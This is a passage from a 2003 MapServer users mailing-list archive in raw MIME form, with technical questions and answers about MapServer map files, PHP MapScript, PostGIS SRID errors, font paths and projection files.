ms_newpointObj(); $pon_point->setXY($x1,$y1); $layer->querybypoint($pon_point,MS_SINGLE,-1); echo $pon_point->x; echo "\n"; echo $pon_point->y; The function defined: int queryByPoint(pointObj point, int mode, double buffer) Query all selected layers in map at point location specified in = georeferenced map coordinates (i.e. not pixels).The query is performed = on all the shapes that are part of a CLASS that contains a TEMPLATE = value or that match any class in a layer that contains a LAYER TEMPLATE = value. Mode is MS_SINGLE or MS_MULTIPLE depending on number of results you = want.Passing buffer <=3D0 defaults to tolerances set in the map file(in = pixels) but you can use a constant buffer (specified in ground units) = instead. Returns MS_SUCCESS if shapes were found or MS_FAILURE if nothing was = found or if some other error happened (note that the error message in = case nothing was found can be avoided in PHP using the '@' control = operator). question: What's problems with my program? Can you explan how the function should be used correctly?I don't know = the definition "in pixel"?what does it mean? I'll really apreciate your response! ------=_NextPart_000_001F_01C2B69B.2381F220 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable
 
----- Original Message = -----=20
From: Mike(pchome)
Sent: Tuesday, January 07, 2003 9:09 AM
Subject: about php function "querybypoint()"

Hello all,
I have PHP ver4.0.6 and = MapServer=20 version 3.5.I want to search the point on the map and I use the function = "int queryByPoint(pointObj point, int mode, double=20 buffer)"
,but there = are some=20 problems:
the error messages:
Warning:=20 MapServer Error in msQueryByPoint(): No matching record(s)=20 found.
 
this is my = file:pon.phtml
 
   $cx=3D($rectangle->maxx -=20 $rectangle->minx)/$map->width;
   = $cy=3D($rectangle->maxy-=20 $rectangle->miny)/$map->height;
   = $x1=3D$rectangle->minx +=20 $cx*$x;
   $y1=3D$rectangle->maxy - = $cy*$y;
  =20 $pon_point =3D ms_newpointObj();
  =20 $pon_point->setXY($x1,$y1);
  =20 $layer->querybypoint($pon_point,MS_SINGLE,-1);
   echo=20 $pon_point->x;
   echo "\n";
   echo=20 $pon_point->y;
 
The function defined:
int queryByPoint(pointObj point, int mode, = double=20 buffer)
Query all selected layers in map at point = location=20 specified in georeferenced map coordinates (i.e. not pixels).The query = is=20 performed on all the shapes that are part of a CLASS that contains a = TEMPLATE=20 value or that match any class in a layer that contains a LAYER TEMPLATE=20 value.
Mode = is=20 MS_SINGLE or MS_MULTIPLE depending on number of results you want.Passing = buffer=20 <=3D0 defaults to tolerances set in the map file(in pixels)
but you can use a constant = buffer=20 (specified in ground units) instead.
Returns MS_SUCCESS if shapes = were found=20 or MS_FAILURE if nothing was found or if some other error happened (note = that=20 the error message in case nothing was found can be avoided in PHP using = the '@' control operator).
 
question:
What's problems with my program?
Can you explan how the function should be used = correctly?I don't know=20 the definition "in pixel"?what does it mean?
 
I'll really apreciate your = response!
 


------=_NextPart_000_001F_01C2B69B.2381F220-- ----------------------------------------------------------------- < ?C???? Yahoo!?_?? > www.yahoo.com.tw From rollform_master at hotmail.com Tue Jan 7 10:57:06 2003 From: rollform_master at hotmail.com (Eric L. Blevins) Date: Tue, 7 Jan 2003 13:57:06 -0500 Subject: [Mapserver-users] Strange Problem when using OVERLAYSYMBOL Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_013F_01C2B654.AA373C90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable This might be a bug or maybe I have something missing from my layers but = I do know that removing OVERLAYSYMBOL from the layer makes this problem = go away. this causes an error in the layer directly after this layer: LAYER NAME railroad TYPE line STATUS default CONNECTIONTYPE postgis maxscale 200000 CONNECTION "user=3DXXXXX dbname=3DTIGER host=3DXXXXX" DATA "the_geom from (select oid,the_geom,fename,fetype from = railroad) AS foo using SRID=3D4269" CLASS SYMBOL 'circle' COLOR 0 0 0 size 5 OVERLAYSYMBOL 'dcircle' OVERLAYCOLOR 255 255 255 overlaySIZE 3 end END However if I remove the OVERLAY stuff the errors go away. This is the error I recieve which happens to be the next layer in the = map file: msPOSTGISLayerWhichShapes(): Query error. Error executing POSTGIS SQL = statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT = asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from = (select oid,the_geom,fename,fetype,symbol from local) AS foo WHERE = the_geom && 'BOX3D(-71.133294768 42.308640336,-71.027438768 = 42.414496336)'::BOX3D=20 The thing I noticed is that the SRID is not in this query and if you try = to run this query from the command line postgresql returns "ERROR: = Operation on two GEOMETRIES with different SRIDs" hence the reason the = next layer fails. Here is what the next layer looks like: LAYER NAME Local TYPE line STATUS default CONNECTIONTYPE postgis maxscale 22000 CONNECTION "user=3DXXX dbname=3DTIGER host=3DXXX" DATA "the_geom from (select oid,the_geom,fename,fetype,symbol = from local) AS foo using SRID=3D4269" SIZEUNITS feet CLASS COLOR 140 140 140 size 40 symbol "circle" end END You can see that I have the using SRID=3D4269 in the layer but for some = reason when I use OVERLAYSYMBOL the using SRID=3D4269 gets ignored in = the layer following the layer with OVERLAYSYMBOL. Simply removing the = OVERLAYXXX lines from the mapfile everything renders perfect. Anyone have any ideas what the problem could be? Thanks! Eric L. Blevins www.WiFiMaps.com ------=_NextPart_000_013F_01C2B654.AA373C90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
This might be a bug or maybe I have = something=20 missing from my layers but I do know that removing OVERLAYSYMBOL from = the layer=20 makes this problem go away.
 
this causes an error in the layer = directly=20 after this layer:
LAYER
       =20 NAME railroad
        TYPE=20 line
        STATUS=20 default
        CONNECTIONTYPE=20 postgis
        maxscale=20 200000
        CONNECTION = "user=3DXXXXX=20 dbname=3DTIGER = host=3DXXXXX"
        DATA=20 "the_geom from (select oid,the_geom,fename,fetype from railroad) AS foo = using=20 SRID=3D4269"
       =20 CLASS
          &nbs= p;    =20 SYMBOL=20 'circle'
          &= nbsp;    =20 COLOR 0 0=20 0
           &n= bsp;   =20 size=20 5
           &n= bsp;   =20 OVERLAYSYMBOL=20 'dcircle'
          =      =20 OVERLAYCOLOR 255 255=20 255
           =     =20 overlaySIZE 3
 
       =20 end
END
 
However if I remove the OVERLAY stuff = the errors go=20 away.
 
This is the error I recieve which = happens to be the=20 next layer in the map file:
msPOSTGISLayerWhichShapes(): Query error. Error executing POSTGIS = SQL=20 statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT=20 asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from = (select=20 oid,the_geom,fename,fetype,symbol from local) AS foo WHERE the_geom = &&=20 'BOX3D(-71.133294768 42.308640336,-71.027438768 42.414496336)'::BOX3D =
 
The thing I noticed is that the SRID is = not in this=20 query and if you try to run this query from the command line postgresql = returns=20 "ERROR:  Operation on two GEOMETRIES with different SRIDs" hence = the reason=20 the next layer fails.
 
Here is what the next layer looks=20 like:
LAYER
       =20 NAME Local
        TYPE=20 line
        STATUS=20 default
        CONNECTIONTYPE=20 postgis
        maxscale=20 22000
        CONNECTION = "user=3DXXX=20 dbname=3DTIGER host=3DXXX"
        = DATA=20 "the_geom from (select oid,the_geom,fename,fetype,symbol from local) AS = foo=20 using SRID=3D4269"
        = SIZEUNITS=20 feet
       =20 CLASS
          &nbs= p;    =20 COLOR  140 140=20 140
           =     =20 size=20 40
           &= nbsp;   =20 symbol "circle"
        =20 end
END
 
You can see that I have the using = SRID=3D4269 in the=20 layer but for some reason when I use OVERLAYSYMBOL the using SRID=3D4269 = gets=20 ignored in the layer following the layer with OVERLAYSYMBOL.  = Simply=20 removing the OVERLAYXXX lines from the mapfile everything renders=20 perfect.
 
Anyone have any ideas what the = problem could=20 be?
 
Thanks!
Eric L. = Blevins
www.WiFiMaps.com
=
 
------=_NextPart_000_013F_01C2B654.AA373C90-- From george_planansky at NOSPAMharvard.edu Tue Jan 7 18:41:00 2003 From: george_planansky at NOSPAMharvard.edu (George Planansky) Date: Tue, 7 Jan 2003 21:41:00 -0500 Subject: [Mapserver-users] rotating labels move away from label point ?? Message-ID: <3405-Tue07Jan2003214100-0500-george_planansky@harvard.edu> Using ANGLE to rotate labels, as below, we expected to see the label string rotate propeller-fashion around the label point (which is in the center of our polygons and shows up as we expect). However, the labels instead move away from the label point as we change the rotation angle. The longer the label string, the further away they move. We don't understand this -- what is happening here? How do we keep the label string centered on the label point. CLASS COLOR -1 -1 -1 COLOR 255 0 0 SYMBOL 'circle' SIZE 5 LABEL POSITION CC ANGLE 135.00 COLOR 0 0 0 TYPE TRUETYPE FONT arial SIZE 14 ANTIALIAS TRUE PARTIALS FALSE BUFFER 2 END END Thanks George Planansky george_planansky at NOSPAMharvard.edu From mccrone at pc.jaring.my Tue Jan 7 21:18:51 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Wed, 8 Jan 2003 13:18:51 +0800 Subject: [Mapserver-users] Allother probles solved - still woking on the PIXEL_SIZE calculation Message-ID: <001a01c2b6d5$b21e1380$276d063d@clickntrac> This is a multi-part message in MIME format. ------=_NextPart_000_000D_01C2B718.7C895BB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi again, I guess you could call it the 'Reverse Murphy Law'. Once I mail my = question/problem to the list, I still continue trouble shooting and, = through searching previous questions and trial and error, come up with = the solution. So, currently my project works with the rosa applet, which = zooms, pans etc. I can turn layers on & off using checkboxes, my map dos = not zoom or pan during the toggling on/off of layers. My buttons retain = their state after map redraws (i.e. submits). My next un-resolved issue = is calculating the PIXEL_SIZE to used in the measurement calculation. = I'm really trying to avoid getting involved in PHP an wish to achieve = all my functionality strictly with mapserv and rosa - so far so good. So if anyone out their can shed some light on the PIXEL_SIZE issue that = would be great. Steve ------=_NextPart_000_000D_01C2B718.7C895BB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi again,
 
I guess you could call it the 'Reverse = Murphy Law'.=20 Once I mail my question/problem to the list, I still continue trouble = shooting=20 and, through searching previous questions and trial and error, come up = with the=20 solution. So, currently my project works with the rosa applet, which = zooms, pans=20 etc. I can turn layers on & off using checkboxes, my map dos not = zoom or pan=20 during the toggling on/off of layers. My buttons retain their state = after map=20 redraws (i.e. submits). My next un-resolved issue is calculating the = PIXEL_SIZE=20 to used in the measurement calculation.  I'm really trying to avoid = getting=20 involved in PHP an wish to achieve all my functionality strictly with = mapserv=20 and rosa - so far so good.
 
So if anyone out their can shed some = light on the=20 PIXEL_SIZE issue that would be great.
 
Steve
------=_NextPart_000_000D_01C2B718.7C895BB0-- From jacquin at geosys-inc.com Wed Jan 8 07:54:28 2003 From: jacquin at geosys-inc.com (Marc Jacquin) Date: Wed, 8 Jan 2003 16:54:28 +0100 Subject: [Mapserver-users] Re: mapserver error In-Reply-To: <3E1C3DF7.57730E20@dmsolutions.ca> Message-ID: I don't know if it's still the case for this version of MS but Proj.4 on Win32 works better with an environment variable called PROJ_LIB (on Unix it searches for ~/epsg or /epsg ...). I guess it can define either the absolute path to the epsg file or the directory containing this file. Marc -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Daniel Morissette Sent: mercredi 8 janvier 2003 16:04 To: Doug Nebert Cc: mapserver-users Subject: [Mapserver-users] Re: mapserver error I have no clue why it can't find the epsg file. You really named the file "epsg" with no extension, correct? i.e. C:\proj\epsg and C:\proj\nad\epsg I'll CC this to the mapserver list where someone else may have run into the same thing with the UMN build for WIN32 and might have some hints to offer. Daniel Doug Nebert wrote: > > Daniel Morissette wrote: > > > >>The current error I get is: > >> > >>msProcessProjection(): Projection library error. no system list, errno: 2 > >> > >>whether I include a reference to PROJECTION or not. I have > >>downloaded the latest epsg file and put it both at c:\proj > >>and c:\proj\nad. No avail. > >> > > > > > > hummm.... this error means that it doesn't find the epsg file. You are > > sure that you placed it in both? You really need to resolve this > > otherwise you won't be able to use any of the WMS features. > > > > This is really odd. Did you use a build from our download site or from > > the UMN website? > > > > I downloaded yesterday from the UMN site. > > Doug. > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Antti.Roppola at brs.gov.au Wed Jan 8 17:37:12 2003 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Thu, 9 Jan 2003 12:37:12 +1100 Subject: [Mapserver-users] GDAL support for classed rasters in nightly 3.7? Message-ID: <4D6E6CCBC9CED61192720060B06B3DD7C3FC3E@ACTMAIL2> Hello all, I have built 3.7 using the nightly tarball from the day before. Most things in the 3.6 map work un-modified, but classed rasters do not display (a continuous tone ERDAS Imagine file still works). This suggests something to do with the CLASS object: LAYER NAME "My Layer" TYPE RASTER STATUS OFF DATA myraster.bil ## (.tif or Grid for that matter) CLASSITEM "[pixel]" CLASS NAME "Class 1" EXPRESSION ([pixel] ==1) COLOR 255 0 0 END END The 3.7 migration doco suggests CLASS should be backward compatible in most instances. Am I seeing a vagary in the nightly, or should I be re-writing the above as a STYLE? Inserting "DEBUG 1" into the layer merely induces a getSymbol() error message. TIA, Antti From shaw_brian at yahoo.com Wed Jan 8 23:21:33 2003 From: shaw_brian at yahoo.com (Brian Shaw) Date: Wed, 8 Jan 2003 23:21:33 -0800 (PST) Subject: [Mapserver-users] command line utiltiy Message-ID: <20030109072133.17004.qmail@web21509.mail.yahoo.com> --0-1454819701-1042096893=:14741 Content-Type: text/plain; charset=us-ascii Hi, Could I have a copy of the command line utility that is able to convert ESRI "shape" files to Mapinfo "MIF" or "TAB" Best Regards Brian Shaw --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now --0-1454819701-1042096893=:14741 Content-Type: text/html; charset=us-ascii

Hi,

Could I have a copy of the command line utility that is able to convert ESRI "shape" files to Mapinfo "MIF" or "TAB"

 

Best Regards

Brian Shaw



 



Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now --0-1454819701-1042096893=:14741-- From Hannah.Jensen at erdc.usace.army.mil Thu Jan 9 08:28:05 2003 From: Hannah.Jensen at erdc.usace.army.mil (Jensen, Hannah ERDC-CRREL-NH Contractor) Date: Thu, 9 Jan 2003 11:28:05 -0500 Subject: [Mapserver-users] msOpenSHPFile error Message-ID: <048FBD219330D211B47000A0C9B3BAFD04898679@crl02.crrel.usace.army.mil> Hello. Some of our users are experiencing a strange MapServer error that I haven't yet been able to duplicate. At a certain scale, the map will be drawn with the following error written on the map image itself: "msOpenSHPFile(): (M:\misc\utm16.shp)". This is not a filename on our system and I can't find that text in the source code anywhere. Does anyone have any idea what might be causing this? Thanks for any advice. Cheers, Hannah Hannah Jensen (603) 646-4145 Remote Sensing / GIS Center Cold Regions Research and Engineering Lab (CRREL) US Army Corps of Engineers 72 Lyme Rd, Hanover, NH 03755-1290 From Amy.Stender at erdc.usace.army.mil Thu Jan 9 08:54:39 2003 From: Amy.Stender at erdc.usace.army.mil (Stender, Amy ERDC-CRREL-NH Contractor) Date: Thu, 9 Jan 2003 11:54:39 -0500 Subject: [Mapserver-users] regular expression help Message-ID: <048FBD219330D211B47000A0C9B3BAFD01BDBF0E@crl02.crrel.usace.army.mil> hello, i'm trying to write a regular expression in my map file. to recognize: 1. shrub native__salix exigua 2. shrub native__salix goodingii 3. shrub native__salix laevigata 4. shrub native__salix lasiopis etc... i found that the following regular expression works for my CLASS EXPRESSION: /shrub native__*/ BUT now i have: 1. Trees/Woodland/Forest, Native__blah 2. Trees/Woodland/Forest, Native__blah1 3. Trees/Woodland/Forest, Native__blah2 4. Trees/Woodland/Forest, Native__blah3 the forward slashes confuse my regular expression, so i tried using escape characters: /Trees\/Woodland\/Forest, Native__*/ but this did not work. the error is: loadClass(): Unknown identifier. (Woodland/Forest). any ideas on another escape character or a work-around? thanks, amy Amy L. Stender Remote Sensing/GIS Center Cold Regions Research and Engineering Laboratory United States Army Corps of Engineers 72 Lyme Road, Hanover, NH 03755-1290 Tel: (603) 646-4733 Fax: (603) 646-4730 Amy.Stender at erdc.usace.army.mil From morissette at dmsolutions.ca Thu Jan 9 17:38:37 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 09 Jan 2003 20:38:37 -0500 Subject: [Mapserver-users] Mapserver and Libgd References: <200301040923.2789@th00.opsion.fr> Message-ID: <3E1E241D.4C6D5DFA@dmsolutions.ca> pdalfarra at ibelgique.com wrote: > > [root at localhost mapserver-3.6.3]# ./mapserv > ./mapserv: error while loading shared libraries: > libgd.so.2: cannot load shared object file: No such > file or directory > > I don't understand since I have a libgd.so.2 file > (soft link) in my /usr/local/lib directory which is > pointing to /usr/local/lib/libgd.so.2.0.0 that I > obtain when I compile gd-2.0.9. > See: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?FindingSharedLibraries -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Thu Jan 9 17:46:55 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 09 Jan 2003 20:46:55 -0500 Subject: [Mapserver-users] mapscript and XBase cause Out of memoryerrorand/or premature endof script headers error References: <200301061422.h06EMbR11599@yogi.medinaco.net> <1041898354.3e1a1b725f27e@webmail.lmi.net> Message-ID: <3E1E260F.AA3F86F5@dmsolutions.ca> "Jonathan W. Lowe" wrote: > > The rest of the story is still not over, however. The test script that now > works is only a test script; the main script still fails, with a "Premature end > of script headers" error message in the log file. I plan to slowly add > subroutines to the working script and see where it stops working... > FYI we have run into a similar issue on a Linux box where a Perl MapScript (3.6.x) script would work fine at the command line but would sometimes crash in the web server environment just after the call to $map->draw(), resulting in a premature end of script headers (or truncated output sometimes)... I have never been able to identify the source of the problem, but if you find anything then I would be very interested in hearing the solution. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Thu Jan 9 18:12:27 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 09 Jan 2003 21:12:27 -0500 Subject: [Mapserver-users] References: <005a01c2b511$e2391b20$470a18d3@clickntrac> Message-ID: <3E1E2C0B.3A8AB2F5@dmsolutions.ca> > Steve McCrone wrote: > > For an example of a site using this, see: > http://www.sis.ec.gc.ca/msapps/ec_species/htdocs/ec_species_e.phtml > ... > > I had a look at the example above and it does appear to calculate the > correct pixel size that is used in the distance. However, I cannot > find (in the code) where it does this, so I am wondering if Daniel > could shed some light on this one. > This example uses MapScript, but you wrote in another thread that you would like to stick to the mapserv CGI. We have never done it, but it should be possible to use JavaScript to calculate the pixed size and set it in the applet based on the [width] and [minx] and [maxx] CGI template parameters. i.e. pixel_size = ([maxx] - [minx])/[width] > One thing with this sample - the user must not only select another > tool and click on the map in order for the distance to "zero". Just by > re-selecting the measure tool or clicking on another one does not > "zero" the cumulative distance. > I believe this is fixed in more recent versions of ROSA. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mccrone at pc.jaring.my Thu Jan 9 18:33:09 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Fri, 10 Jan 2003 10:33:09 +0800 Subject: [Mapserver-users] Mapserver 3.5 - using TrueType Fonts Message-ID: <000a01c2b850$a22b5b00$3b61063d@clickntrac> This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C2B893.AB990230 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have line data shape file (i.e. roads) and I wish to label the roads = using the attribute "Road_name". I've tried a number of things w.r.t. setting the path for the FONTSET = but still cannot get it.=20 my template & map file are in the wwwroot, which is my Home Directory on = Win2K and IIS. I have my fonts.list file in "wwwroot\fonts\fonts.list" when I try FONTSET "fonts/fonts.list" I get this error -=20 getSymbol(): Symbol definition error. (FONT):(47)=20 Then I try SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" I get = this error -=20 getSymbol(): Symbol definition error. (FONT):(48)=20 I don't have a symbols.sym file from the downloaded stuff, just the = symbols35.sym file Don't know what to try next. Here is my map file (there could be errors) MAP NAME S1EX1 EXTENT 101.6 3.03 101.77 3.25 #EXTENT [minx] [miny] [maxx] [maxy]=20 SIZE 500 400 #FONTSET "fonts/fonts.list" #SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" SYMBOLSET "/symbols/symbols35.sym" FONTSET "C:\Inetpub\wwwroot\fonts\fonts.list" #FONTSET ../fonts/fonts.list #FONTSET "web/sdbdev/packages/dv-mapping/fonts/fonts.list" SHAPEPATH "data/Malaysia" WEB TEMPLATE s1ex1.html IMAGEPATH "set in index.html" IMAGEURL "set in index.html" END LAYER # States NAME "KlangValley" DATA KlangValley STATUS DEFAULT TYPE POLYGON CLASSITEM "Negeri" CLASS NAME "KL" COLOR 255 255 128 OUTLINECOLOR 0 0 0 END # end of class object END # end of layer object LAYER NAME "roads" STATUS OFF DATA ROAD_GPS LABELITEM "Road_name" =20 TYPE LINE CLASS COLOR 0 0 255 LABEL TYPE TRUETYPE ANTIALIAS FONT arial COLOR 0 0 0 OUTLINECOLOR 220 220 220 SIZE 11 #SIZE MEDIUM ANGLE AUTO POSITION UC OFFSET 0 2 =20 buffer 2 END#label END END # roads END # end of map file #=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ------=_NextPart_000_0007_01C2B893.AB990230 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have line data shape file (i.e. = roads) and I wish=20 to label the roads using the attribute "Road_name".
 
I've tried a number of things w.r.t. = setting the=20 path for the FONTSET but still cannot get it.
 
my template & map file are in the = wwwroot,=20 which is my Home Directory on Win2K and IIS.
I have my fonts.list = file in=20 "wwwroot\fonts\fonts.list"
 
when I try FONTSET "fonts/fonts.list" I = get this=20 error -
 
getSymbol(): Symbol definition error. = (FONT):(47)=20
 
Then I try SYMBOLSET=20 "C:\Inetpub\wwwroot\symbols\symbols35.sym" I get this error - =
 
getSymbol(): Symbol definition error. = (FONT):(48)=20
 
I don't have a symbols.sym file from = the downloaded=20 stuff, just the symbols35.sym file
 
Don't know what to try next. Here is my = map file=20 (there could be errors)
 
MAP
NAME S1EX1
EXTENT 101.6 3.03 = 101.77=20 3.25
#EXTENT [minx] [miny] [maxx] [maxy]
SIZE 500 400
#FONTSET = "fonts/fonts.list"
#SYMBOLSET=20 "C:\Inetpub\wwwroot\symbols\symbols35.sym"
SYMBOLSET=20 "/symbols/symbols35.sym"
FONTSET=20 "C:\Inetpub\wwwroot\fonts\fonts.list"
#FONTSET=20 ../fonts/fonts.list
#FONTSET=20 "web/sdbdev/packages/dv-mapping/fonts/fonts.list"
 
SHAPEPATH "data/Malaysia"
 
WEB
  TEMPLATE = s1ex1.html
 =20 IMAGEPATH "set in index.html"
  IMAGEURL "set in=20 index.html"
END
 
LAYER # States
    = NAME=20 "KlangValley"
    DATA = KlangValley
   =20 STATUS DEFAULT
    TYPE POLYGON
   =20 CLASSITEM "Negeri"
    CLASS
    = NAME=20 "KL"
    COLOR 255 255 128
    = OUTLINECOLOR=20 0 0 0
  END # end of class object
END # end of layer=20 object
 
LAYER
  NAME "roads"
  = STATUS=20 OFF
  DATA ROAD_GPS
  LABELITEM "Road_name"  =
 =20 TYPE LINE
  CLASS
    COLOR 0 0=20 255
    = LABEL
       =20 TYPE TRUETYPE
        =20 ANTIALIAS
 FONT = arial
       =20 COLOR 0 0 0
 OUTLINECOLOR 220 220 220
 SIZE = 11
 #SIZE=20 MEDIUM
 ANGLE AUTO
 POSITION UC
 OFFSET 0=20 2      
 buffer = 2
   =20 END#label
  END
END # roads
END # end of map=20 file
#=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
------=_NextPart_000_0007_01C2B893.AB990230-- From ARyan at co.linn.or.us Thu Jan 9 18:43:55 2003 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Thu, 9 Jan 2003 18:43:55 -0800 Subject: [Mapserver-users] php_mapscript.dll could not be found Message-ID: <614FCE5F14A6D41180C200010240D6A20107CF58@LINNMS> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2B852.1E249C20 Content-Type: text/plain; charset="iso-8859-1" My quest for mapscript continues. Perl & Windows, no luck. PHP. Must be bad luck. I'm on a Windows XP box. Both IIS and Apache run PHP 4.2.3 fine. ---Test 1: On APache: zlib Table, no mapscript table. On IIS: Same, plus on the bottom of the table I get this: PHP Warning: Unable to load dynamic library 'D:/PHP/extensions/php_mapscript.dll' - The specified module could not be found. in D:\webmap\php\test2.php on line 6 ---Test 2: why not? I set "extension=php_mapscript.dll" in php.ini though I know I'm not supposed to. On both APache and IIS: Error Dialog: "Unable to load dynamic library 'D:/PHP/extensions/php_mapscript.dll' - The specified module could not be found." I've read through the old postings. I'm sure mapscript and PHP are in sync. Any suggestions? Thanks for putting up with me. Adam ------_=_NextPart_001_01C2B852.1E249C20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable php_mapscript.dll could not be found

My quest for mapscript continues.
Perl & Windows, no luck.
PHP.  Must be bad luck.

I'm on a Windows XP box.
Both IIS and Apache run PHP 4.2.3 fine.

---Test 1:

    <HTML>
    <BODY>
    <?php
      = dl("php_zlib.dll");       #to = be sure dl() is working
      = dl("php_mapscript.dll");
      phpinfo();
    ?>
   </BODY>
   </HTML>

On APache: zlib Table, no mapscript table.
On IIS: Same, plus on the bottom of the table I get = this:

PHP Warning: Unable to load dynamic library = 'D:/PHP/extensions/php_mapscript.dll' - The specified module could not = be found. in D:\webmap\php\test2.php on line 6

---Test 2: why not?

I set "extension=3Dphp_mapscript.dll" in = php.ini though I know I'm not supposed to.
 
On both APache and IIS: Error Dialog: "Unable = to load dynamic library 'D:/PHP/extensions/php_mapscript.dll' - The = specified module could not be found."

I've read through the old postings.  I'm sure = mapscript and PHP are in sync.
Any suggestions?
Thanks for putting up with me.

Adam

------_=_NextPart_001_01C2B852.1E249C20-- From rich at greenwoodmap.com Thu Jan 9 19:03:20 2003 From: rich at greenwoodmap.com (Richard Greenwood) Date: Thu, 09 Jan 2003 20:03:20 -0700 Subject: [Mapserver-users] Mapserver 3.5 - using TrueType Fonts In-Reply-To: <000a01c2b850$a22b5b00$3b61063d@clickntrac> Message-ID: <5.2.0.9.0.20030109195833.00a77378@mail.greenwoodmap.com> --=======60023EC======= Content-Type: multipart/alternative; x-avg-checked=avg-ok-71A36F84; boundary="=====================_45565469==.ALT" --=====================_45565469==.ALT Content-Type: text/plain; x-avg-checked=avg-ok-71A36F84; charset=us-ascii; format=flowed Content-Transfer-Encoding: 8bit Are the font files also in wwwroot\fonts\ ? I've found it easier to have the font.list in the same directory as the font files. Also check case - the font file names in font.list are case sensitive (even on windows). Rich At 10:33 AM 1/10/2003 +0800, you wrote: >I have line data shape file (i.e. roads) and I wish to label the roads >using the attribute "Road_name". > >I've tried a number of things w.r.t. setting the path for the FONTSET but >still cannot get it. > >my template & map file are in the wwwroot, which is my Home Directory on >Win2K and IIS. >I have my fonts.list file in "wwwroot\fonts\fonts.list" > >when I try FONTSET "fonts/fonts.list" I get this error - > >getSymbol(): Symbol definition error. (FONT):(47) > >Then I try SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" I get this >error - > >getSymbol(): Symbol definition error. (FONT):(48) > >I don't have a symbols.sym file from the downloaded stuff, just the >symbols35.sym file > >Don't know what to try next. Here is my map file (there could be errors) > >MAP >NAME S1EX1 >EXTENT 101.6 3.03 101.77 3.25 >#EXTENT [minx] [miny] [maxx] [maxy] >SIZE 500 400 >#FONTSET "fonts/fonts.list" >#SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" >SYMBOLSET "/symbols/symbols35.sym" >FONTSET "C:\Inetpub\wwwroot\fonts\fonts.list" >#FONTSET ../fonts/fonts.list >#FONTSET "web/sdbdev/packages/dv-mapping/fonts/fonts.list" > >SHAPEPATH "data/Malaysia" > >WEB > TEMPLATE s1ex1.html > IMAGEPATH "set in index.html" > IMAGEURL "set in index.html" >END > >LAYER # States > NAME "KlangValley" > DATA KlangValley > STATUS DEFAULT > TYPE POLYGON > CLASSITEM "Negeri" > CLASS > NAME "KL" > COLOR 255 255 128 > OUTLINECOLOR 0 0 0 > END # end of class object >END # end of layer object > >LAYER > NAME "roads" > STATUS OFF > DATA ROAD_GPS > LABELITEM "Road_name" > TYPE LINE > CLASS > COLOR 0 0 255 > LABEL > TYPE TRUETYPE > ANTIALIAS > FONT arial > COLOR 0 0 0 > OUTLINECOLOR 220 220 220 > SIZE 11 > #SIZE MEDIUM > ANGLE AUTO > POSITION UC > OFFSET 0 2 > buffer 2 > END#label > END >END # roads >END # end of map file >#========================================= Richard W. Greenwood, PLS (307) 733-0203 Rich at GreenwoodMap.com www.GreenwoodMap.com --=====================_45565469==.ALT Content-Type: text/html; x-avg-checked=avg-ok-71A36F84; charset=us-ascii Content-Transfer-Encoding: 8bit Are the font files also in wwwroot\fonts\ ? I've found it easier to have the font.list in the same directory as the font files. Also check case - the font file names in font.list are case sensitive (even on windows).

Rich

At 10:33 AM 1/10/2003 +0800, you wrote:

I have line data shape file (i.e. roads) and I wish to label the roads using the attribute "Road_name".
 
I've tried a number of things w.r.t. setting the path for the FONTSET but still cannot get it.
 
my template & map file are in the wwwroot, which is my Home Directory on Win2K and IIS.
I have my fonts.list file in "wwwroot\fonts\fonts.list"

 
when I try FONTSET "fonts/fonts.list" I get this error -
 
